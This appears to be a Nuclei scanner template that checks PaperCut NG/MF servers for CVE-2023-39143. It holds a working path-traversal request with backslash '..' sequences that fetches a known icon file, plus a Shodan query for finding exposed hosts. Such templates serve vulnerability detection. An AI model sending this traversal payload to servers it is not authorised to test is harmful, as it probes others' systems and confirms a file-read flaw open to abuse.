id: CVE-2023-39143

info:
  name: PaperCut < 22.1.3 - Path Traversal
  author: pdteam
  severity: critical
  description: PaperCut NG and PaperCut MF before 22.1.3 are vulnerable to path traversal which enables attackers to read, delete, and upload arbitrary files.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-39143
    - https://www.horizon3.ai/cve-2023-39143-papercut-path-traversal-file-upload-rce-vulnerability/
    - https://www.papercut.com/kb/Main/securitybulletinjuly2023/
    - https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-131a
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H
    cve-id: CVE-2023-39143
    cvss-score: 9.4
    epss-score: 0.00043
  metadata:
    max-request: 1
    verified: true
    shodan-query: html:"content="PaperCut""
  tags: cve,cve2023,lfi,papercut

http:
  - method: GET
    path:
      - "{{BaseURL}}/custom-report-example/..\\..\\..\\deployment\\sharp\\icons\\home-app.png"

    matchers:
      - type: dsl
        dsl:
          - content_length == 1655
          - status_code == 200
          - contains(to_lower(content_type), "image/png")
          - contains(hex_encode(body), "89504e470d0a1a0a") # PNG file signature in hex
        condition: and